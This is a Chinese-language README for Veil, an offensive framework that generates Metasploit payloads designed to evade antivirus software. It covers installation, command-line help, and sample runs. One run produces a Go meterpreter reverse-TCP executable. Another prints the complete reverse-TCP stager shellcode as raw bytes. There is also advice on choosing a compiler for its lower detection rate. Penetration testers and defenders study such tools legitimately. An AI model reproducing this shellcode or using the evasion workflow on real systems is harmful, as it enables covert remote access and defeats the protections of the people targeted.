
Veil 3.1.X (Check version info in Veil at runtime)
Veil Logo
Veil 是一款旨在生成能绕过常见防病毒解决方案的 Metasploit 载荷的工具。
Veil 当前由 @ChrisTruncer 维护
官方支持的以下操作系统:
以下操作系统可能能够运行 Veil:
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent
注意:
sudo,或者在开始前切换到 root 用户。apt 不同。你还需要一个正在运行的 X 服务器,无论是在系统本身还是在本地系统上。sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent
此文件负责安装 Veil 的所有依赖项。这包括用于 Windows 侧的整个 WINE 环境。它将安装所有必要的 Linux 包和 GoLang,以及用于 Windows 的 Python、Ruby 和 AutoIT。此外,它还会为你的环境运行 ./config/update-config.py。
它包含两个可选标志,--force 和 --silent:
--force ~ 如果出现问题,此选项将覆盖检测任何先前的安装。当有安装包更新时很有用。
--silent ~ 此选项将自动执行所有步骤,进行无人值守安装,因此用户无需交互。
可以通过以下方式运行:./Veil.py --setup 或者 ./config/setup.sh --force。
这将为 /etc/veil/settings.py 生成输出文件。大多数情况下不需要重建,但在某些情况下你可能会被提示这样做(例如主要的 Veil 更新)。
在执行 update-config.py 之前,确保你位于 ./config/ 目录中非常重要。如果你不在该目录中,/etc/veil/settings.py 将不正确,启动 Veil 时会看到以下内容:
主菜单
0 个载荷已加载
别慌。运行:./Veil.py --config 或者 cd ./config/; ./update-config.py。
注意:推荐使用 Py2Exe 而非 PyInstaller (因为其检测率较低)。
在 Windows 计算机上手动安装(Veil 的安装脚本不执行此操作):
Veil 主菜单:
$ ./Veil.py
===============================================================================
Veil | [版本]: 3.1.6
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
主菜单
2 个工具已加载
可用工具:
1) Evasion
2) Ordnance
可用命令:
exit 完全退出 Veil
info 查看某个工具的详细信息
list 列出可用工具
options 显示 Veil 配置
update 更新 Veil
use 使用某个特定工具
Veil>:
帮助
$ ./Veil.py --help
usage: Veil.py [--list-tools] [-t TOOL] [--update] [--setup] [--config]
[--version] [--ip IP] [--port PORT] [--list-payloads]
[-p [PAYLOAD]] [-o OUTPUT-NAME]
[-c [OPTION=value [OPTION=value ...]]]
[--msfoptions [OPTION=value [OPTION=value ...]]] [--msfvenom ]
[--compiler pyinstaller] [--clean] [--ordnance-payload PAYLOAD]
[--list-encoders] [-e ENCODER] [-b \x00\x0a..] [--print-stats]
Veil 是一个包含多个工具的框架。
[*] Veil 选项:
--list-tools 列出 Veil 的工具
-t TOOL, --tool TOOL 指定要使用的 Veil 工具(Evasion、Ordnance 等)
--update 更新 Veil 框架
--setup 运行 Veil 框架安装文件并重新生成配置
--config 重新生成 Veil 框架配置文件
--version 显示版本并退出
[*] 回调设置:
--ip IP, --domain IP 回连的 IP 地址
--port PORT 连接的端口号
[*] 载荷设置:
--list-payloads 列出该工具的所有可用载荷
[*] Veil-Evasion 选项:
-p [PAYLOAD] 要生成的载荷
-o OUTPUT-NAME 源代码和编译后二进制的输出文件基本名称
-c [OPTION=value [OPTION=value ...]]
自定义载荷模块选项
--msfoptions [OPTION=value [OPTION=value ...]]
指定 metasploit 载荷的选项
--msfvenom [] 要生成的 Metasploit shellcode(例如
windows/meterpreter/reverse_tcp 等)
--compiler pyinstaller
载荷的编译器选项(当前仅适用于 Python)
--clean 清空载荷文件夹
[*] Veil-Ordnance Shellcode 选项:
--ordnance-payload PAYLOAD
载荷类型(bind_tcp、rev_tcp 等)
[*] Veil-Ordnance 编码器选项:
--list-encoders 列出所有可用的编码器
-e ENCODER, --encoder ENCODER
要使用的 shellcode 编码器名称
-b \x00\x0a.., --bad-chars \x00\x0a..
要避免的坏字符
--print-stats 打印关于编码后 shellcode 的信息
$
Veil Evasion CLI
$ ./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 127.0.0.1 --port 4444
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
runtime/internal/sys
runtime/internal/atomic
runtime
errors
internal/race
sync/atomic
math
sync
io
unicode/utf8
internal/syscall/windows/sysdll
unicode/utf16
syscall
strconv
reflect
encoding/binary
command-line-arguments
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
[*] 语言: go
[*] 载荷模块: go/meterpreter/rev_tcp
[*] 可执行文件写入至: /var/lib/veil/output/compiled/payload.exe
[*] 源代码写入至: /var/lib/veil/output/source/payload.go
[*] Metasploit 资源文件写入至: /var/lib/veil/output/handlers/payload.rc
$
$ file /var/lib/veil/output/compiled/payload.exe
/var/lib/veil/output/compiled/payload.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
$
Veil Ordnance CLI
$ ./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 127.0.0.1 --port 4444
===============================================================================
Veil-Ordnance
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
[*] 载荷名称: Reverse TCP Stager (Stage 1)
[*] IP 地址: 127.0.0.1
[*] 端口: 4444
[*] Shellcode 大小: 287
\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x09\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3
$
本项目基于 GNU General Public License v3 许可证进行许可。